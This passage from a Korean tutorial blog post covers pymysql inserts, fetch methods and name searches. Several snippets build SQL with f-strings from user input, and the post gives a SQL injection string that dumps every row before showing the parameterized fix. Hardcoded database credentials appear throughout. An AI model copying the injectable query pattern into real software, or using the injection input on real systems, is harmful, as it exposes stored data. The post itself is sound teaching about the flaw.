            query = f&quot;insert into members (member_name, member_age, member_email) values \
            (&#39;{fake.name()}&#39;, {fake.pyint(10, 30)}, &#39;{fake.email()}&#39;)&quot;
            print(query)
            curr.execute(query)

        # conn.commit()

except pymysql.MySQLError as e:
    print(e)</code></pre>
<p>위 코드 connect에서 auto commit = True로 하면 commit() 함수를 호출하지 않아도 변경사항이 DB에 반영되는 것을 확인할 수 있다.</p>
<ul>
<li>트렌젝션 관리가 필요한 경우 connect에 autocommit=False(기본값)으로 설정해 사용하지 않는 것이 좋다 않다.</li>
<li>관리가 필요하지 않은 경우에는 connect에 autocommit=True(기본값)으로 설정해 사용해서 자동으로 등록되는 것을 볼 수 있다.</li>
</ul>
<br>

<h2 id="3-데이터-추가-후-조회"><strong>3) 데이터 추가 후 조회</strong></h2>
<h3 id="1-fetchone"><strong>(1) fetchone()</strong> </h3>
<ul>
<li>커서로부터 하나의 행(레코드)을 리턴</li>
</ul>
<pre><code class="language-py">import pymysql
from faker import Faker

# 데이터 추가 후 조회하도록 수정
# fetchone() - 커서로부터 하나의 행(레코드)을 반환

try:
    with pymysql.connect(host=&quot;localhost&quot;, port=3306, user=&quot;springboot&quot;, passwd=&quot;qwert12345&quot;,
                         db=&quot;sampledb&quot;, cursorclass=pymysql.cursors.DictCursor) as conn:

        curr = conn.cursor()

        fake = Faker(&#39;ko-KR&#39;)
        for i in range(10):
            query = f&quot;insert into members (member_name, member_age, member_email) values \
            (&#39;{fake.name()}&#39;, {fake.pyint(10, 30)}, &#39;{fake.email()}&#39;)&quot;
            print(query)
            curr.execute(query)

        conn.commit()

        query = &quot;select * from members&quot;
        curr.execute(query)

        # 조회 결과를 하나씩 가져오기
        while True :
            result = curr.fetchone()
            if result == None : break
            print(result)

except pymysql.MySQLError as e:
    print(e)</code></pre>
<br>

<h3 id="2-fetchall"><strong>(2) fetchall()</strong></h3>
<ul>
<li>커서로부터 모든 행(레코드)을 반환</li>
</ul>
<pre><code class="language-py">import pymysql
from faker import Faker

# # 데이터 추가 후 조회하도록 수정
# fetchall() - 커서로부터 모든 행(레코드)을 반환

# 데이터베이스에 연결을 생성
try:
    with pymysql.connect(host=&quot;localhost&quot;, port=3306, user=&quot;springboot&quot;, passwd=&quot;qwert12345&quot;,
                         db=&quot;sampledb&quot;, cursorclass=pymysql.cursors.DictCursor) as conn:

        curr = conn.cursor()

        fake = Faker(&#39;ko-KR&#39;)
        for i in range(10):
            query = f&quot;insert into members (member_name, member_age, member_email) values \
            (&#39;{fake.name()}&#39;, {fake.pyint(10, 30)}, &#39;{fake.email()}&#39;)&quot;
            print(query)
            curr.execute(query)

        conn.commit()

        query = &quot;select * from members&quot;
        curr.execute(query)

        # 커서로부터 모든 행(레코드) 조회 결과를 반환 
        results = curr.fetchall()  
        for result in results:
            print(result)

except pymysql.MySQLError as e:
    print(e)</code></pre>
<br>

<h3 id="3-fetchmanyn"><strong>(3) fetchmany(n)</strong></h3>
<ul>
<li>커서로부터 n개의 행(레코드)을 반환</li>
</ul>
<pre><code class="language-py">import pymysql
from faker import Faker

# 데이터 추가 후 조회하도록 수정
# fetchmany(n) - 커서로부터 n개의 행(레코드)을 반환

# 데이터베이스에 연결을 생성
try:
    with pymysql.connect(host=&quot;localhost&quot;, port=3306, user=&quot;springboot&quot;, passwd=&quot;qwert12345&quot;,
                         db=&quot;sampledb&quot;, cursorclass=pymysql.cursors.DictCursor) as conn:

        curr = conn.cursor()

        fake = Faker(&#39;ko-KR&#39;)
        for i in range(10):
            query = f&quot;insert into members (member_name, member_age, member_email) values \
            (&#39;{fake.name()}&#39;, {fake.pyint(10, 30)}, &#39;{fake.email()}&#39;)&quot;
            print(query)
            curr.execute(query)

        conn.commit()

        query = &quot;select * from members&quot;
        curr.execute(query)

        # 커서로부터 조회 결과의 일부를 반환
        results = curr.fetchmany(10)        # 조회 결과의 첫 부분 10개를 가져와서 반환
        for result in results:
            print(result)

        print(&quot;*&quot; * 10)

        results = curr.fetchmany(10)        # 앞에서 가져온 다음(11번째)부터 데이터를 반환
        for result in results:  
            print(result)

except pymysql.MySQLError as e:
    print(e)</code></pre>
<br>

<h1 id="6-데이터-조회"><strong>6. 데이터 조회</strong></h1>
<h3 id="1-입력한-내용화-일치하는-데이터-조회"><strong>1) 입력한 내용화 일치하는 데이터 조회</strong></h3>
<pre><code class="language-py">import pymysql

# 입력한 내용과 일치하는 데이터를 조회

try:
    with pymysql.connect(host=&quot;localhost&quot;, port=3306, user=&quot;springboot&quot;,
                         passwd=&quot;qwert12345&quot;, db=&quot;sampledb&quot;,
                         cursorclass=pymysql.cursors.DictCursor) as conn:

        curr = conn.cursor()

        name = input(&quot;검색할 이름을 입력하세요 : &quot;)

        query = f&quot;select * from members where member_name = &#39;{name}&#39;&quot;
        curr.execute(query)

        results = curr.fetchall()
        for result in results:
            print(f&quot;ID : {result[&#39;member_id&#39;]}&quot;)    # 컬럼의 이름으로 값을 추출하는 것이 가능
            print(f&quot;이름 : {result[&#39;member_name&#39;]}&quot;)
            print(f&quot;나이 : {result[&#39;member_age&#39;]}&quot;)
            print(f&quot;이메일 : {result[&#39;member_email&#39;]}&quot;)

except pymysql.MySQLError as e:
    print(e)</code></pre>
<br>

<h2 id="2-입력한-내용을-포함하고-있는-데이터-조회"><strong>2) 입력한 내용을 포함하고 있는 데이터 조회</strong></h2>
<pre><code class="language-py">import pymysql

# 입력한 내용을 포함하고 있는 데이터를 조회

try:
    with pymysql.connect(host=&quot;localhost&quot;, port=3306, user=&quot;springboot&quot;,
                         passwd=&quot;qwert12345&quot;, db=&quot;sampledb&quot;, 
                         cursorclass=pymysql.cursors.DictCursor) as conn:

        curr = conn.cursor()

        name = input(&quot;검색할 이름을 입력하세요 : &quot;)

        query = f&quot;select * from members where member_name like &#39;%{name}%&#39;&quot;
        count = curr.execute(query)            
        print(f&quot;총 {count}건을 조회했습니다.&quot;)
        # SELECT 구문인 경우 조회 결과 개수를 반환
        # INSERT, UPDATE, DELETE 구문인 경우 등록, 수정, 삭제된 행의 개수를 반환

        results = curr.fetchall()
        print(f&quot;총 {len(results)}건을 조회했습니다.&quot;)
        for result in results:
            print(f&quot;ID : {result[&#39;member_id&#39;]}&quot;)
            print(f&quot;이름 : {result[&#39;member_name&#39;]}&quot;)
            print(f&quot;나이 : {result[&#39;member_age&#39;]}&quot;)
            print(f&quot;이메일 : {result[&#39;member_email&#39;]}&quot;)

except pymysql.MySQLError as e:
    print(e)</code></pre>
<ul>
<li>LIKE문은 검색하는 내용이 포함되어 있는 데이터를 검색해 준다.</li>
</ul>
<p>LIKE 문을 위 코드와 같이 직접적으로 사용하면 보안에 취약해 SQL 인젝션 공격을 할 수 있다.</p>
<p>검색할 이름을 입력할 때 a&#39; or &#39;a&#39; = &#39;a&#39; or &#39;a를 입력하면 SQL 인젝션 공격이 되어서 모든 데이터를 조회할 수 있다.</p>
<p>이 문제를 막기 위해서는 구조화된 쿼리를 실행하는 형태로 변경해야 한다.</p>
<br>

<h3 id="1-구조화된-쿼리를-실행하는-형태"><strong>(1) 구조화된 쿼리를 실행하는 형태</strong></h3>
<pre><code class="language-py">import pymysql

# 구조화된 쿼리를 실행하는 형태로 변경 SQL injection

# 입력한 내용을 포함하고 있는 데이터를 조회

try:
    with pymysql.connect(host=&quot;localhost&quot;, port=3306, user=&quot;springboot&quot;,
                         passwd=&quot;qwert12345&quot;, db=&quot;sampledb&quot;,
                         cursorclass=pymysql.cursors.DictCursor) as conn:

        curr = conn.cursor()

        name = input(&quot;검색할 이름을 입력하세요 : &quot;)

        query = &quot;select * from members where member_name like %s&quot;   
        count = curr.execute(query, (&#39;%&#39;+name+&#39;%&#39;,))               
        print(f&quot;총 {count}건을 조회했습니다.&quot;)                     

        results = curr.fetchall()
        print(f&quot;총 {len(results)}건을 조회했습니다.&quot;)
        for result in results:
            print(f&quot;ID : {result[&#39;member_id&#39;]}&quot;)
            print(f&quot;이름 : {result[&#39;member_name&#39;]}&quot;)
            print(f&quot;나이 : {result[&#39;member_age&#39;]}&quot;)
            print(f&quot;이메일 : {result[&#39;member_email&#39;]}&quot;)

except pymysql.MySQLError as e:
    print(e)</code></pre>
<ul>
<li>%s 문자열 데이터 쿼리문의 구조를 정의</li>
<li>execute() 함수의 두 번째 인자에 쿼리 실행에 필요한 값을 튜플 또는 딕셔너리를 통해 전달</li>
<li>execute() 함수가 값을 안전한 형태로 변경해서 쿼리를 생성, 실행</li>
</ul>
<p>위 코드와 같이 구조화된 코드로 작성하면 a&#39; or &#39;a&#39; = &#39;a&#39; or &#39;a를 입력해도 데이터를 조회할 수 없다.</p>
]]></description>
        </item>
    </channel>
</rss>